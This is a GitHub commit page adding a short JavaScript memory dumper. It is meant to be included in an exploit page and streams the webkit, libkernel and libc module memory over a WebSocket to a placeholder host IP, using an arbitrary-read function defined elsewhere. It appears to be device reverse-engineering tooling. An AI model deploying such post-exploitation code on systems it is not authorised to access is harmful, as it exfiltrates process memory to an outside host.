Skip to content

Commit

Permalink
Create dumper(include_in_page).js
Browse files Browse the repository at this point in the history
  • Loading branch information
a0zhar committed Mar 5, 2023
1 parent 387d209 commit 5807d6b
Showing 1 changed file with 27 additions and 0 deletions.
27 changes: 27 additions & 0 deletions dumper(include_in_page).js
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
function printf(){}//for debugging
const hostIP = "ENTER_IP_HERE";
const hostPort="5000";
const webkitSize = 27262976;//27mb
const libKernelSize = 300000;//300kb
const libcSize = 1200000;//1.2mb

function dumpModule(address, size, name) {
printf(`[*] Starting to dump the ${name} module!`);

const webSock = new WebSocket(`ws://${hostIP}:${hostPort}`);
webSock.addEventListener("open", () => {
let chunkSize = size / 1000;
let bytesLeft = size;
let bytesRead = 0;
while (bytesLeft > 0) {
let buffer = read_mem(address + bytesRead, chunkSize);
webSock.send(buffer);
bytesLeft -= chunkSize;
bytesRead += chunkSize;
buffer = null;
}

printf(`${name} successfully dumped`);
webSock.close();
});
}

0 comments on commit 5807d6b

Please sign in to comment.